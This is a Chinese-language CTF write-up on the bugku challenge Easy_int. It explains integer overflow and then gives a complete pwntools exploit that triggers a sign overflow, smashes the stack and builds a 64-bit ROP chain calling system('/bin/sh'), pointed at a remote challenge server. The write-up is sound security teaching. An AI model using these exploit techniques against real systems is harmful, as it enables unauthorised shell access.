pwn 入门到放弃 6- 整数溢出漏洞及 64 位 ROP

0x00 前言

这次主要分析整数溢出漏洞,分析样本为 bugku 题目Easy_int

什么是整数溢出漏洞

整数就是没有小数的数字。在计算机中。有符号数用二进制表示。表示负数的时候。将二进制最高为来表示数字的符号,最高为是 1 就是负数,最高位是 0 就表是正数;当然,还有无符号数,也就是没有负数。当我们尝试将一个数字范围为 0-255 的数字。输入 256 时。就会溢出,返回 0;输入 257 时。返回 1。

当有符号数溢出时。会从最小的值开始,-xxxxx 然后依次 +1,以下是各类符号范围大小

类型大小(byte)无符号范围(unsigned)有符号范围(signed)
char10 ~ 2^8-1(255)-2^7(-128) ~ 2^7-1(127)
short20 ~ 2^16-1(65535)-2^15(32768) ~ 2^15-1(32767)
int40 ~ 2^32-1(4294967295)-2^31(2147483648) ~ 2^31-1(2147483647)

漏洞危害

  • 数据截断
    当发生溢出时。数据会被截断。
    例如:a、b、c 为 3 个 8 位无符号整数 (char),范围大小为 0-255:
    a = 11111111
    b = 00000001
    r = a + b = 100000000
    由于 a 和 b 相加的值超出了 8 位。发生溢出。截取 8 位。r 就变成了 0
  • 宽度溢出
    当一个较小宽度的操作数被提升到了较大操作数一样的宽度,然后进行计算,如果计算结果放在较小宽度那里
    那么长度就会被截断为较小宽度。比如一个 32 位的运算结果。放到了 16 位寄存器。那么就会取后 16 位
  • 改变符号
    有符号整数溢出时。就会改变正负。
    0x7fffffff+1 = 0x80000000 = -2147483648
  • 无符号与有符号转换
    将有符号数赋给无符号数后。会从 -1 变成无符号数的最大数
    当把无符号数赋给有符号数,会从无符号数最大数变成 -1

0x11 分析思路

第一步 checksec

看到只有栈保护,然后使用 IDA 分析

这里很显然需要进行整数溢出,因为 NUM 的类型是 int(一般默认为 signed),所以最大值为 2^31-1 = 2147483647,所以溢出值为 2^31 = 2147483648,就符合上面的漏洞三,改变符号:因为 2147483648 超出最大值了就会变成 -2147483648,取反后还是超出最大值,然后又改变符号再次变成 -2147483648。使用计算器可以轻松看到这一过程。

接着分析 vuln 函数:

明显的栈溢出漏洞。

0x12 攻击思路

经过分析可以得到如下攻击思路:

  • 先输入 2147483648 整数溢出进入 vuln 函数
  • 获取 buf 的栈溢出偏移(填充字符量)
  • 寻找 popedi(使用 ROPgadget)
  • 找到 "/bin/sh" 字符的地址
  • 找到 system 的地址
  • 构造 payload(ROP) 获取 shell

因为这里分析的是 64 位的程序,所以不太方便使用 cyclic 工具寻找偏移,使用 IDA 查看更直观:

所以 offset = 32 + 8 = 40

使用 ROPgadget --binary ./pwn --only "pop|ret" 获取 popedi

获取 "/bin/sh" 的地址,pwntools、gdb、IDA 方法太多了,IDA 刚好开着的就用 IDA 查看吧 (量身定做的 gift,\ 手动滑稽)

system 的地址也一起用 IDA 查看了吧

0x13 64 位 ROP

在前面的文章中分析过 32 位 ROP,一般形式如下

payload = b'a' * offset + p32(system_addr) + b'\1\1\1\1' + p32(binsh_addr) #平衡栈
payload = b'a' * offset + p32(system_addr) + p32(binsh_addr) #不平衡栈

因为 32 程序是采用栈传递参数的。大部分情况下为了保险起见还是选择平衡栈的写法比较好。

但是 64 位程序则不一样,它是寄存器传参的。

64 位传参约定:前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中,参数超过六个时,从第七个开始压入栈中。

pop edi 语句是将当前的栈顶元素传递给 edi,在执行 pop 语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为 system。

所以 64 位下构造 ROP 链的形式如下

payload = 'a' * offset + p64(pop_edi) + p64(binsh_addr) + p64(system_addr)

0x14 exp

from pwn import *
import sys

context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']

#本机环境
if sys.argv[1] == '0':
	p = process("./pwn")
#远程环境
elif sys.argv[1] == '1':
	p = remote("114.67.175.224","16139")

offset = 40

popedi = 0x401343
system_addr = 0x401094
#system_addr = 0x4011f0
binsh_addr = 0x403500
intover = 2 ** 31
payload = b'a'*offset + p64(popedi) + p64(binsh_addr) + p64(system_addr)

p.sendafter(b":",str(intover).encode()+b'\n') #结尾的回车不能少……
p.recv()
p.sendline(payload)
p.interactive()

出现意外:执行后显示 EOF(远程可以打通并且不会报错,只是本地出错了而已,环境版本问题)

看提示信息应该是返回地址构造出错了,经过调试发现是 system 函数的问题,会进入异常,这里更换 system 的地址,使用 vuln 函数里的 call system:

成功!注:这里是本地环境。